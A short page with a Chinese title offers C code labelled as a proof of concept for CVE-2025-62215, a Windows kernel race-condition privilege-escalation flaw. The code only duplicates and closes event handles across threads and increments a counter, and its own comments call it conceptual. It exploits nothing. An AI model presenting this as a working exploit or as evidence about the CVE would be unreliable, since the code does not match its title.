CVE-2025-62215 Windows内核竞态条件权限提升漏洞

// CVE-2025-62215 Windows Kernel Race Condition PoC // This is a conceptual PoC demonstrating the race condition exploitation // Actual exploitation requires specific kernel object manipulation #include <windows.h> #include <stdio.h> #include <threads.h> #define ITERATION_COUNT 100000 #define THREAD_COUNT 4 volatile LONG g_counter = 0; volatile PVOID g_sharedObject = NULL; volatile BOOL g_raceWindow = FALSE; // Target function that contains the vulnerable code path void TriggerVulnerablePath(PVOID object) { // Simulated kernel-like race condition // In real scenario, this would be kernel system call if (g_raceWindow && object != NULL) { // Race window: security check passed but object modified InterlockedIncrement(&g_counter); } } // Thread function to create race conditions int RaceThread(void* arg) { HANDLE hObject = *(HANDLE*)arg; for (int i = 0; i < ITERATION_COUNT; i++) { // Open handle to kernel object HANDLE hDuplicate = NULL; DuplicateHandle(GetCurrentProcess(), hObject, GetCurrentProcess(), &hDuplicate, 0, FALSE, DUPLICATE_SAME_ACCESS); // Set race window flag g_raceWindow = TRUE; // Trigger vulnerable code path TriggerVulnerablePath(hDuplicate); // Close handle during race window if (hDuplicate) { CloseHandle(hDuplicate); } g_raceWindow = FALSE; } return 0; } int main() { printf("CVE-2025-62215 PoC - Race Condition in Windows Kernel\n"); printf("This PoC demonstrates the concept of exploiting race conditions\n"); // Create a shared kernel object (simulated) HANDLE hObject = CreateEvent(NULL, FALSE, FALSE, NULL); if (hObject == NULL) { printf("Failed to create object\n"); return 1; } thrd_t threads[THREAD_COUNT]; // Spawn multiple threads to increase race condition probability for (int i = 0; i < THREAD_COUNT; i++) { thrd_create(&threads[i], RaceThread, &hObject); } // Wait for all threads for (int i = 0; i < THREAD_COUNT; i++) { thrd_join(threads[i], NULL); } printf("Race condition iterations completed: %ld\n", g_counter); CloseHandle(hObject); printf("Note: This is a conceptual PoC. Real exploitation requires\n"); printf("specific kernel debugging and object handle manipulation.\n"); return 0; }